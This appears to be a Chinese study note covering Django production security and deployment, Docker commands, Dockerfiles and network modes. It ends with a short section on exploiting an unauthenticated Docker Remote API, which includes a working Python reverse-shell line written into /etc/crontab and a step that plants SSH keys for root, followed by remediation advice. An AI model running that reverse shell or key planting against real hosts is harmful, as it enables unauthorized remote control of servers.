Django
文章中所有的
{{ }}
或{% %}
都需要用
{% raw %}
{% endraw %}
包裹起来,否则Hexo会解析出错:
Template render error: unknown block tag
Template render error: tag name expected
生产环境下需要注意的
环境隔离
使用virtualenv
创建单独的虚拟运行环境,无论是学习开发(方便管理)还是在生产环境(避免依赖冲突)都是很有必要的。
安全
- 关闭DEBUG模式,但需要添加处理404页面
- 保护好
SECRET_KEY
,别直接一股脑都传gayhub了 - 更改默认的admin管理路径
- 使用Django提供的ORM以避免注入
- 设置
ALLOWED_HOSTS
- API调用安全…目前还不会
- CSRF Token,下面会专门再提到
稳定
- 使用
Gunicorn
或uWSGI
作为网关接口服务以替换Django自带的WSGI - 增加一层Nginx反向代理,处理静态资源等
- 使用
supervisor
守护Django进程,避免意外中断导致Web服务宕机
Others
Templates
模板文件最好建立自己的命名空间,也就是放入和自身应用同名的文件夹中。这是因为Django无法区分多个应用中重名的模板文件。
Migrate
改变模型需要这三步:
- 编辑
models.py
文件,改变模型。 - 运行
python manage.py makemigrations
为模型的改变生成迁移文件。 - 运行
python manage.py migrate
来应用数据库迁移。
每当你修改了models.py文件,都需要用makemigrations和migrate这两条指令迁移数据。
使用python3 manage.py sqlmigrate blog 0001
可以将数据库的迁移文件转换成SQL语句查看。
Django Filter
过滤器: {{ value | filter }}
对接Markdown解析器时,Django出于安全考虑会将HTML转义,在使用markdown组件时会造成渲染的HTML无法正常显示,因此需要添加safe过滤器 {{ article.body|safe }}
,告诉Django这段字符不需要转义。
CSRF Token
所有针对内部URL的POST表单都应该使用CSRF Token模板标签,在base模板页面中添加{% csrf_token %}
是最简洁的方法。
Docker
docker container run
每执行一次会新建一个容器,用docker container start [contianerID]
命令才可以启动之前的容器,重复使用。
docker info / docker version
docker run ubuntu echo hello docker
# 列出本机的所有 image 文件。
$ docker image ls
# 列出本机正在运行的容器
$ docker container ls
# 列出本机所有容器,包括终止运行的容器
$ docker container ls --all
# 终止运行
$ docker container kill [containID]
# 删除容器
$ docker container rm [containerID]
编写Dockerfile
根目录下新建.dockerignore
,写入不打包进image的文件
FROM node:8.4 #image继承node官方8.4版
MAINTAINER 0sec #作者
COPY . /app #将当前目录下除.dockerignore排除的路径copy到image的/app目录
WORKDIR /app #指定接下来工作路径为/app
RUN npm install #运行npm install安装依赖
EXPOSE 3000 #暴露3000端口
CMD echo 'hello docker'
# RUN的结果打包进image(可有多个),CMD在容器启动后执行(只有一个)
# 创建image文件:
docker build -t hello_docker(:1.0) .
# 从image生成容器
docker container run -p 8000:3000 -it hello_docker /bin/bash
-p:容器3000映射到本机8000
-it:shell映射
启动Bash shell(会覆盖dockerfile的CMD)
进入容器,Ctrl+d/exit/docker container kill [id] 终止容器
若不使用-it
,则需要用docker container logs
查看输出,docker container exec
映射shell了。
Docker网络
Docker安装后会自动创建三个网络:
$ docker network ls
NETWORK ID NAME DRIVER
7fca4eb8c647 bridge bridge
9f904ee27bf5 none null
cf03ee007fb4 host host
Docker有四种网络模式:
none
docker run --net=none ...
不为容器配置任何网络功能,仅有一lo环回接口。
container
docker run --net=container:[containerID] ...
与另一个运行中的容器共享网络,IP、DNS、hostname都继承自指定的容器。
host
docker run --net=host ...
与主机共享网络,容器有权限操作主机协议栈、路由表、防火墙等网络配置,因此较不安全,尽量避免使用。
bridge
docker run --net=bridge ...
可以理解为Docker的NAT网络模式,可以实现容器与主机、容器间的通信(通过iptables规则控制)。
Docker未授权访问
攻击原理类似Redis未授权访问,方法一为向服务器写文件(ssh公钥~/.ssh/id_rsa.pub
写到/root/.ssh/authorized_keys
)从而获得权限;二为挂载宿主机/etc目录,利用contrab计划任务反弹shell:
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
修复
- 尽量不启用Docker Remote API,若要启用则添加认证如ACL/TLS/Nginx基础认证;
- 客户端连接时设置以下环境变量
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12